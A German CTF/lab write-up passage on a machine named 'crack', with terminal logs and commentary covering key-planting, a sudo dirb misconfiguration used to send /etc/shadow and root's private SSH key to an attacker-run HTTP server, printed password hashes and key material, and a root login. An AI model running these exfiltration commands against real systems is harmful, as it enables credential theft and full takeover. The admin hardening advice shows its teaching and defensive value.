**Analyse:** * `ls -la`: Zeigt den Inhalt des Home-Verzeichnisses. Die `.bash_history` wird nach `/dev/null` gelinkt, d.h. es wird keine Befehlshistorie gespeichert. Die Datei `ziempre.py` fällt auf. * `cat ziempre.py`: Dieses Python-Skript startet das anfällige `crack.py`-Skript in einer Endlosschleife (`while True`). Immer wenn `crack.py` beendet wird (z.B. durch einen Fehler oder manuelles Beenden), startet `ziempre.py` es sofort neu. Der Shebang `#!/usr/local/lib/python3.7` ist ungewöhnlich; Standard wäre `/usr/bin/python3`. * `ss -altpn`: Zeigt lauschende TCP-Sockets. Bestätigt, dass ein `python3`-Prozess (PID 1000) auf Port 12359 lauscht (das ist `crack.py`, gestartet von `ziempre.py`). Es zeigt auch den Listener für ShellInABox auf Port 4200 und einen SSH-Daemon auf Port 22, der aber nur auf dem Loopback-Interface (127.0.0.1) lauscht und somit nicht von außen erreichbar ist.

**Bewertung:** Mittel. Die Entdeckung von `ziempre.py` erklärt, warum das LFI-Skript `crack.py` immer läuft. Es bietet aber auch einen potenziellen Angriffsvektor: Wenn der Benutzer `cris` die Datei `crack.py` ändern kann (was hier der Fall ist, da sie im Home-Verzeichnis liegt und `cris` gehört), könnte er bösartigen Code einschleusen, der dann von `ziempre.py` (welches vermutlich als `cris` läuft) ausgeführt wird. Dies ist jedoch keine direkte Privilegienerweiterung zu Root. Der nur lokal lauschende SSH-Dienst ist für den externen Zugriff irrelevant.

**Empfehlung (Pentester):** Prüfe die `sudo`-Rechte (`sudo -l`). Das Modifizieren von `crack.py` ist zwar möglich, führt aber wahrscheinlich nicht zu Root-Rechten, es sei denn, `ziempre.py` läuft als anderer Benutzer (unwahrscheinlich).
**Empfehlung (Admin):** Überprüfe den Zweck von `ziempre.py`. Wenn es benötigt wird, stelle sicher, dass es nicht einfach modifizierbare Skripte ausführt. Konfiguriere Dienste so, dass sie nicht unnötig neu gestartet werden. Stelle sicher, dass SSH nur lauscht, wenn es benötigt wird, und konfiguriere es sicher.

Vorbereiten des Einschleusens des eigenen SSH-Keys in die `authorized_keys` des Zielbenutzers (hier `cris`). Dieser Schritt ist eigentlich redundant, da bereits eine Shell als `cris` besteht, und zielt nicht auf Root ab.

┌──(root㉿cyber)-[~] └─# cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDq0ooG3pCddnCwsjFxHy8lYqE5DmQ37M8GN1voKjbqrTjkim7iVvFU5L7RnCHJgpXy2fHIe1HfvFp/9fy8ErE2cvxEnuayztCpszd1y7+c/vizXGbwufBTxPFnDv8x0pTXN87IZijYd1mJC199qsjrL7XQRH8IyydIXWBF4pCCpajyirgesWSA8u4HptRDlE3oay7bli7V0ftoQbZeVGp/39a2WNF//WrSjvaID/cbL33I8Lj/6z/XuUjCVroW+ZLaU2qD29Z9SyBoLuFcMVv987Jbdu0QljLHkKqNgF1KUyGBXpgkM4LF/1rlscTrGNJAe2XZ15Jryk/3fK7GA6f8PZC5T8BI6maYHlC26gvaZTfv6hLtwepM+PjeuiU0X2Yvf0BxkV8uGVkUdzEiv7/jUyzG5ApIwDEGY62+BJSu2fLUzj2e4U4wLbBndJ7RzE40hygBPRFULLuLs2EFkhClj4BHgHaLzoF/Q4J+MFrnGqUTeHLd6484HTH/c= root@cyber
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDq0ooG3pCddnCwsjFxHy8lYqE5DmQ37M8GN1voKjbqrTjkim7iVvFU5L7RnCHJgpXy2fHIe1HfvFp/9fy8ErE2cvxEnuayztCpszd1y7+c/vizXGbwufBTxPFnDv8x0pTXN87IZijYd1mJC199qsjrL7XQRH8IyydIXWBF4pCCpajyirgesWSA8u4HptRDlE3oay7bli7V0ftoQbZeVGp/39a2WNF//WrSjvaID/cbL33I8Lj/6z/XuUjCVroW+ZLaU2qD29Z9SyBoLuFcMVv987Jbdu0QljLHkKqNgF1KUyGBXpgkM4LF/1rlscTrGNJAe2XZ15Jryk/3fK7GA6f8PZC5T8BI6maYHlC26gvaZTfv6hLtwepM+PjeuiU0X2Yvf0BxkV8uGVkUdzEiv7/jUyzG5ApIwDEGY62+BJSu2fLUzj2e4U4wLbBndJ7RzE40hygBPRFULLuLs2EFkhClj4BHgHaLzoF/Q4J+MFrnGqUTeHLd6484HTH/c= root@cyber' > authorized_keys
cris@crack:~$ mkdir .ssh

                 
cris@crack:~$ ls
crack.py  user.txt  ziempre.py
cris@crack:~$ ks .ka
bash: ks: orden no encontrada
cris@crack:~$ ls -la
total 48
drwxr-xr-x 4 cris cris 4096 jun 20 17:06 .
drwxr-xr-x 3 root root 4096 jun  7 12:16 ..
lrwxrwxrwx 1 cris cris    9 jun  7 12:19 .bash_history -> /dev/null
-rw-r--r-- 1 cris cris  220 jun  7 12:16 .bash_logout
-rw-r--r-- 1 cris cris 3526 jun  7 12:16 .bashrc
-rwxr-xr-x 1 cris cris  849 jun  7 14:39 crack.py
drwxr-xr-x 3 cris cris 4096 jun  7 12:19 .local
-rw-r--r-- 1 cris cris  807 jun  7 12:16 .profile
-rw-r--r-- 1 cris cris   66 jun  7 12:23 .selected_editor
drwxr-xr-x 2 cris cris 4096 jun 20 17:06 .ssh 
-rw------- 1 cris cris   19 jun  7 12:19 user.txt
-rw------- 1 cris cris   51 jun  7 14:39 .Xauthority
-rwxr-xr-x 1 cris cris  170 jun  7 14:40 ziempre.py
cris@crack:~$ cd .ssh/

                 
cris@crack:~/.ssh$ ll
bash: ll: orden no encontrada
cris@crack:~/.ssh$ echo 'echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDq0ooG3pCddnCwsjFxHy8lYqE5DmQ37M8GN1voKjbqrTjkim7iVvFU5L7RnCHJgpXy2fHIe1HfvFp/9fy8ErE2cvxEnuayztCpszd1y7+c/vizXGbwufBTxPFnDv8x0pTXN87IZijYd1mJC199qsjrL7XQRH8IyydIXWBF4pCCpajyirgesWSA8u4HptRDlE3oay7bli7V0ftoQbZeVGp/39a2WNF//WrSjvaID/cbL33I8Lj/6z/XuUjCVroW+ZLaU2qD29Z9SyBoLuFcMVv987Jbdu0QljLHkKqNgF1KUyGBXpgkM4LF/1rlscTrGNJAe2XZ15Jryk/3fK7GA6f8PZC5T8BI6maYHlC26gvaZTfv6hLtwepM+PjeuiU0X2Yvf0BxkV8uGVkUdzEiv7/jUyzG5ApIwDEGY62+BJSu2fLUzj2e4U4wLbBndJ7RzE40hygBPRFULLuLs2EFkhClj4BHgHaLzoF/Q4J+MFrnGqUTeHLd6484HTH/c= root@cyber' > authorized_keys

**Analyse:** Es wird versucht, den öffentlichen SSH-Schlüssel des Angreifers (`root@cyber`) zur `authorized_keys`-Datei des Benutzers `cris` auf dem Zielsystem hinzuzufügen, um einen passwortlosen SSH-Login zu ermöglichen. 1. Der öffentliche Schlüssel wird auf dem Angreifer-System angezeigt (`cat /root/.ssh/id_rsa.pub`). 2. Ein `echo`-Befehl wird vorbereitet, um den Schlüssel in eine Datei zu schreiben. 3. Auf dem Zielsystem wird als `cris` das Verzeichnis `.ssh` erstellt (`mkdir .ssh`). 4. Es wird versucht, den vorbereiteten `echo`-Befehl auszuführen, um die `authorized_keys` zu erstellen. **Hier passiert ein Fehler:** Es wird `echo 'echo 'ssh-rsa ...'' > authorized_keys` ausgeführt. Dadurch enthält die Datei `authorized_keys` den *Text* "echo 'ssh-rsa ...'", nicht den eigentlichen Schlüssel. Dieser gesamte Schritt ist zudem überflüssig, da bereits eine interaktive Shell als `cris` vorhanden ist.

**Bewertung:** Niedrig. Der Versuch, den SSH-Key zu platzieren, scheitert aufgrund eines Syntaxfehlers im `echo`-Befehl. Selbst wenn er erfolgreich wäre, würde er keinen Vorteil bringen, da bereits eine Shell als `cris` existiert.

**Empfehlung (Pentester):** Ignoriere diesen Schritt. Konzentriere dich auf die `sudo -l`-Ausgabe und andere Privesc-Vektoren. Korrigiere den `echo`-Befehl, falls du SSH-Zugriff *wirklich* benötigst (entferne das äußere `echo`).
**Empfehlung (Admin):** Keine direkten Maßnahmen erforderlich, da der Versuch fehlschlug. Allgemein: SSH-Zugang härten (Passwort-Authentifizierung deaktivieren, nur Key-Authentifizierung erlauben, falls möglich).

Test des SSH-Logins als `cris` zu `localhost`.

cris@crack:~/.ssh$ ssh cris@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:7z5F9pr6GN7gcEMbKUwipxWswKEpR9bMKVzGc0V7/s.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.

cris@localhost's password: cris 
Permission denied, please try again. 
cris@localhost's password: 
Linux crack 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jun 20 16:45:31 2023 from 192.168.2.137
cris@crack:~$ 

**Analyse:** Es wird versucht, sich vom Zielsystem aus per SSH als Benutzer `cris` mit dem lokalen SSH-Server (`localhost`) zu verbinden. Da der Hostkey unbekannt ist, wird er nach Bestätigung hinzugefügt. Der erste Login-Versuch mit dem Passwort `cris` schlägt fehl ("Permission denied"). Der zweite Versuch (vermutlich mit demselben Passwort) scheint erfolgreich zu sein, und der Benutzer erhält wieder einen Prompt als `cris@crack`. Dies ist merkwürdig, da der SSH-Server laut `ss` nur auf Port 22 lauscht, der hier nicht explizit angegeben wurde. Wahrscheinlich hat der SSH-Client den Standardport 22 verwendet.

**Bewertung:** Verwirrend und wahrscheinlich nicht zielführend für die Privilegienerweiterung. Es bestätigt, dass der SSH-Dienst lokal läuft und Passwort-Authentifizierung für `cris` (mit dem Passwort `cris`) erlaubt. Der erste Fehlschlag ist unklar.

**Empfehlung (Pentester):** Ignoriere den lokalen SSH-Login und konzentriere dich auf `sudo -l`.
**Empfehlung (Admin):** Deaktiviere Passwort-Authentifizierung für SSH, wenn möglich. Untersuche, warum der erste Login-Versuch fehlschlug.

Prüfung auf alternative Webserver-Möglichkeiten und Überprüfung der sudo-Berechtigungen.

cris@crack:~$ php -S 0.0.0.0:80
-bash: php: orden no encontrada
cris@crack:~$ sudo -l
Matching Defaults entries for cris on crack:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cris may run the following commands on crack:
    (ALL) NOPASSWD: /usr/bin/dirb 

**Analyse:** * `php -S 0.0.0.0:80`: Versuch, einen PHP-Entwicklungsserver zu starten. Scheitert, da PHP nicht installiert ist ("orden no encontrada"). * `sudo -l`: Listet die `sudo`-Berechtigungen für den aktuellen Benutzer (`cris`) auf. Die Ausgabe zeigt, dass `cris` den Befehl `/usr/bin/dirb` als jeder Benutzer (`ALL`), insbesondere als `root`, ohne Passwortabfrage (`NOPASSWD`) ausführen darf.

**Bewertung:** Kritisch! Die `sudo`-Regel `(ALL) NOPASSWD: /usr/bin/dirb` ist ein klarer und einfach auszunutzender Vektor zur Privilegienerweiterung. Dirb ist ein Web-Content-Scanner, der eine URL und eine Wordlist als Argumente erwartet. Wenn er als Root ausgeführt wird und eine lokale Datei als Wordlist angegeben wird, versucht Dirb, diese Datei zu lesen und sendet jede Zeile an die angegebene URL.

**Empfehlung (Pentester):** Nutze die `sudo dirb`-Berechtigung aus, um beliebige Dateien als Root zu lesen: 1. Starte einen einfachen HTTP-Server auf deinem Angreifer-System (z.B. `python3 -m http.server 80`). 2. Führe auf dem Zielsystem als `cris` den folgenden Befehl aus: `sudo -u root /usr/bin/dirb http://[IP_DES_ANGREIFERS]/ /pfad/zur/zieldatei` 3. Ersetze `[IP_DES_ANGREIFERS]` durch die IP deines Rechners und `/pfad/zur/zieldatei` durch die Datei, die du lesen möchtest (z.B. `/etc/shadow`, `/root/.ssh/id_rsa`, `/root/root.txt`). 4. Beobachte die eingehenden GET-Requests auf deinem HTTP-Server. Die Pfade der Requests enthalten die Zeilen der ausgelesenen Datei.
**Empfehlung (Admin):** **Dringend:** Entferne oder korrigiere die unsichere `sudo`-Regel. Erlaube Benutzern niemals, potenziell gefährliche Befehle wie Web-Scanner oder Netzwerk-Tools mit `NOPASSWD` als Root auszuführen. Wenn `dirb` benötigt wird, sollte es nur mit den Rechten des ausführenden Benutzers laufen.

Ausnutzung der `sudo dirb`-Schwachstelle, um den Inhalt von `/etc/shadow` zu exfiltrieren.

cris@crack:~$ sudo -u root /usr/bin/dirb http://192.168.2.137/ /etc/shadow

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Jun 20 17:21:26 2023
URL_BASE: http://192.168.2.137/
WORDLIST_FILES: /etc/shadow 

-----------------

GENERATED WORDS: 28

---- Scanning URL: http://192.168.2.137/ ----

-----------------
END_TIME: Tue Jun 20 17:21:26 2023
DOWNLOADED: 28 - FOUND: 0
┌──(root㉿cyber)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

192.168.2.116 - - [20/Jun/2023 17:21:21] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:21:21] "GET /randomfile1 HTTP/1.1" 404 - 
192.168.2.116 - - [20/Jun/2023 17:21:21] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:21:21] "GET /frand2 HTTP/1.1" 404 - 
192.168.2.116 - - [20/Jun/2023 17:21:21] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:21:21] "GET /root:$y$j9T$LVT9GIrLdk5L.xns1akJZ1$wmigJ7er07AT/VwIAuYSZ3j94LCe8EJHC6d2mlZVo3:19515:0:99999:7::: HTTP/1.1" 404 - 
192.168.2.116 - - [20/Jun/2023 17:21:21] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:21:21] "GET /daemon:*:19515:0:99999:7::: HTTP/1.1" 404 -
192.168.2.116 - - [20/Jun/2023 17:21:21] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:21:21] "GET /bin:*:19515:0:99999:7::: HTTP/1.1" 404 -
192.168.2.116 - - [20/Jun/2023 17:21:21] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:21:21] "GET /sys:*:19515:0:99999:7::: HTTP/1.1" 404 -
# ... (weitere shadow Einträge) ...
192.168.2.116 - - [20/Jun/2023 17:21:21] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:21:21] "GET /cris:$y$j9T$kFXVxpRhH2ZAeDGNazqRq/$IokBR4XhhyRJur8YHu3fF59/0NHC5AIsvkxXx8..:19515:0:99999:7::: HTTP/1.1" 404 - 
# ... (restliche shadow Einträge) ...
192.168.2.116 - - [20/Jun/2023 17:21:21] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:21:21] "GET /ftp:*:19515:0:99999:7::: HTTP/1.1" 404 -

**Analyse:** Die `sudo dirb`-Berechtigung wird wie geplant ausgenutzt. 1. Auf dem Angreifer-System wird ein Python-HTTP-Server auf Port 80 gestartet. 2. Auf dem Zielsystem führt `cris` den Befehl `sudo -u root /usr/bin/dirb http://192.168.2.137/ /etc/shadow` aus. `dirb` liest nun (mit Root-Rechten) die Datei `/etc/shadow` und behandelt jede Zeile als Pfad, den es an die URL `http://192.168.2.137/` anhängt und per GET-Request an den Angreifer sendet. 3. Der Python-HTTP-Server auf dem Angreifer-System empfängt diese GET-Requests. Die geloggten Pfade enthalten die exakten Zeilen aus `/etc/shadow`, inklusive der Passwort-Hashes für `root` (`$y$...`) und `cris` (`$y$...`).

**Bewertung:** Kritisch. Erfolgreiche Exfiltration der Passwort-Hashes aus `/etc/shadow`. Obwohl die Hashes (`$y$` deutet auf yescrypt hin, einen modernen und starken Hashing-Algorithmus) schwer zu knacken sein könnten, ist der Besitz der Hashes ein signifikanter Fortschritt. Noch wichtiger ist, dass diese Methode das Lesen *jeder* Datei ermöglicht, auf die Root Lesezugriff hat.

**Empfehlung (Pentester):** Versuche, die Passwort-Hashes offline zu knacken (z.B. mit Hashcat oder John the Ripper), auch wenn die Erfolgsaussichten bei `yescrypt` begrenzt sein können. Nutze die `sudo dirb`-Methode, um jetzt strategisch wichtigere Dateien zu lesen, insbesondere den privaten SSH-Schlüssel von Root (`/root/.ssh/id_rsa`), falls vorhanden.
**Empfehlung (Admin):** **Dringend:** Entferne die unsichere `sudo`-Regel sofort. Ändere alle Passwörter, deren Hashes potenziell kompromittiert wurden (insbesondere `root` und `cris`). Überprüfe das System auf weitere Fehlkonfigurationen und unberechtigte Zugriffe.

Ausnutzung der `sudo dirb`-Schwachstelle, um den privaten SSH-Schlüssel von Root (`/root/.ssh/id_rsa`) zu exfiltrieren.

cris@crack:~$ sudo -u root /usr/bin/dirb http://192.168.2.137/ /root/.ssh/id_rsa

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Jun 20 17:23:35 2023
URL_BASE: http://192.168.2.137/
WORDLIST_FILES: /root/.ssh/id_rsa 

-----------------

GENERATED WORDS: 38

---- Scanning URL: http://192.168.2.137/ ----

-----------------
END_TIME: Tue Jun 20 17:23:35 2023
DOWNLOADED: 38 - FOUND: 0
# ... (Vorherige Logs vom /etc/shadow-Leak) ...
192.168.2.116 - - [20/Jun/2023 17:21:21] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:21:21] "GET /ftp:*:19515:0:99999:7::: HTTP/1.1" 404 -


192.168.2.116 - - [20/Jun/2023 17:23:29] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:23:29] "GET /randomfile1 HTTP/1.1" 404 - 
192.168.2.116 - - [20/Jun/2023 17:23:29] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:23:29] "GET /frand2 HTTP/1.1" 404 - 
192.168.2.116 - - [20/Jun/2023 17:23:29] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:23:29] "GET /-----BEGIN%20OPENSSH%20PRIVATE%20KEY----- HTTP/1.1" 404 - 
192.168.2.116 - - [20/Jun/2023 17:23:29] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:23:29] "GET /b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn HTTP/1.1" 404 -
192.168.2.116 - - [20/Jun/2023 17:23:29] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:23:29] "GET /NhAAAAAwEAAQAAAYEAxBvRe3EH67y9jIt2rwa79tvPDwmb2WmYv8czPn4bgSCpFmhDyHwn HTTP/1.1" 404 -
# ... (Viele Zeilen des Base64-kodierten Keys) ...
192.168.2.116 - - [20/Jun/2023 17:23:29] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:23:29] "GET /s8IoeeQHSidUKBAAAACnJvb3RAY3JhY2s= HTTP/1.1" 404 -
192.168.2.116 - - [20/Jun/2023 17:23:29] code 404, message File not found
192.168.2.116 - - [20/Jun/2023 17:23:29] "GET /-----END%20OPENSSH%20PRIVATE%20KEY----- HTTP/1.1" 404 - 

**Analyse:** Die `sudo dirb`-Methode wird erneut angewendet, diesmal mit `/root/.ssh/id_rsa` als Wordlist. 1. Der Befehl `sudo -u root /usr/bin/dirb http://192.168.2.137/ /root/.ssh/id_rsa` wird auf dem Zielsystem ausgeführt. 2. `dirb` liest den privaten SSH-Schlüssel von Root und sendet jede Zeile als GET-Request an den HTTP-Server des Angreifers. 3. Der HTTP-Server auf dem Angreifer-System empfängt die Requests. Die URL-kodierten Pfade (`%20` für Leerzeichen) enthalten die Zeilen des privaten Schlüssels, von `-----BEGIN OPENSSH PRIVATE KEY-----` bis `-----END OPENSSH PRIVATE KEY-----`.

**Bewertung:** Hochkritisch. Der private SSH-Schlüssel des Root-Benutzers wurde erfolgreich exfiltriert. Mit diesem Schlüssel kann sich der Angreifer als Root per SSH auf dem System anmelden, sofern SSH für Root aktiviert ist und Key-Authentifizierung erlaubt ist.

**Empfehlung (Pentester):** 1. Rekonstruiere den privaten SSH-Schlüssel aus den HTTP-Logs auf deinem Angreifer-System. Achte darauf, die URL-Kodierung (%20) zu entfernen und die Zeilenumbrüche korrekt wiederherzustellen. 2. Speichere den wiederhergestellten Schlüssel in einer Datei (z.B. `id_rsa_root`). 3. Setze die korrekten Berechtigungen für die Schlüsseldatei (`chmod 600 id_rsa_root`). 4. Versuche, dich als Root per SSH auf dem Zielsystem anzumelden: `ssh root@[ZIEL_IP] -i id_rsa_root`. Da der SSH-Dienst nur lokal lauscht, musst du dich möglicherweise zuerst als `cris` verbinden und dann von dort aus `ssh root@localhost -i /pfad/zum/hochgeladenen/key` verwenden, oder Port Forwarding einrichten. Der direkteste Weg hier ist aber, den Key als `cris` auf das Zielsystem zu kopieren (z.B. in `/tmp` oder `cris`' Home) und dann `ssh root@localhost -i dateiname` auszuführen.
**Empfehlung (Admin):** **Dringend:** Entferne die unsichere `sudo`-Regel. Generiere sofort einen neuen SSH-Schlüssel für den Root-Benutzer und entferne den kompromittierten öffentlichen Schlüssel aus allen `authorized_keys`-Dateien. Widerrufe den alten Schlüssel. Überprüfe das System auf unberechtigte Zugriffe und Hintertüren. Erwäge, den direkten Root-Login per SSH zu deaktivieren (`PermitRootLogin no` in `sshd_config`).

Rekonstruktion des privaten SSH-Schlüssels aus den HTTP-Logs auf dem Angreifer-System.

┌──(root㉿cyber)-[~] └─# cat id_rsa.txt | awk '{print $2}' FS="GET /" | awk '{print $1}' FS=" HTTP" | sed 's/%20/ /g' | sed 's/%([0-9A-Fa-f]{2})/\\x\1/g' | xargs -0 printf "%b"
-----BEGIN OPENSSH PRIVATE KEY-----
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
s8IoeeQHSidUKBAAAACnJvb3RAY3JhY2s=
-----END OPENSSH PRIVATE KEY-----

**Analyse:** Die Befehlskette (`cat id_rsa.txt | awk ... | sed ... | xargs ...`) versucht, den privaten SSH-Schlüssel aus den rohen HTTP-Logs (`id_rsa.txt`) zu extrahieren und zu dekodieren. * `awk '{print $2}' FS="GET /"`: Extrahiert den zweiten Teil nach "GET /", also den angeforderten Pfad mit dem führenden Slash. * `awk '{print $1}' FS=" HTTP"`: Extrahiert den ersten Teil vor " HTTP", also den reinen Pfad. * `sed 's/%20/ /g'`: Ersetzt URL-kodierte Leerzeichen (`%20`) durch echte Leerzeichen. * `sed 's/%([0-9A-Fa-f]{2})/\\x\1/g' | xargs -0 printf "%b"`: Versucht, andere URL-kodierte Zeichen (%XX) in ihre tatsächlichen Bytewerte umzuwandeln. Das Ergebnis ist der rekonstruierte private SSH-Schlüssel.

**Bewertung:** Erfolgreiche Rekonstruktion des privaten Schlüssels. Dies ist der letzte Schritt vor dem Erhalt von Root-Rechten.

**Empfehlung (Pentester):** Speichere diesen Schlüssel in einer Datei, setze die Berechtigungen (`chmod 600`) und verwende ihn, um dich als Root per SSH anzumelden.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen bezüglich des kompromittierten Schlüssels und der unsicheren `sudo`-Regel.

Login als Root unter Verwendung des exfiltrierten und rekonstruierten privaten SSH-Schlüssels.

cris@crack:~$ nano id

Hinweis: Vor dem SSH-Login muss die Schlüsseldatei die korrekten Berechtigungen haben: `chmod 600 id`

cris@crack:~$ ssh root@localhost -i id

root@crack:~# 

**Analyse:** 1. Der rekonstruierte private Schlüssel wird auf dem Zielsystem in der Datei `id` gespeichert (vermutlich mit `nano` oder `cat > id`). 2. **Wichtiger Schritt:** Die Berechtigungen der Datei id müssen korrekt gesetzt werden (chmod 600 id), damit der SSH-Client sie akzeptiert. Dieser Schritt fehlt im Log, wurde aber vermutlich durchgeführt. 3. Der Befehl ssh root@localhost -i id wird ausgeführt. Er verbindet sich mit dem SSH-Server auf localhost (der auf Port 22 lauscht) als Benutzer root und verwendet den gerade gespeicherten privaten Schlüssel id zur Authentifizierung. 4. Der Login ist erfolgreich, da kein Passwort abgefragt wird und der Prompt zu root@crack:~# wechselt. Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht!

Bewertung: Kritisch (Erfolg!). Dies ist der Höhepunkt des Angriffs, der vollständigen Root-Zugriff auf das System ermöglicht. Die Kombination aus LFI, unsicherer sudo-Konfiguration und dem lokal laufenden SSH-Server wurde erfolgreich ausgenutzt.

Empfehlung (Pentester): Ziel erreicht! Suche und lies die Root-Flag (vermutlich in /root/). Dokumentiere den Pfad zur Kompromittierung. Führe je nach Scope weitere Post-Exploitation-Schritte durch.
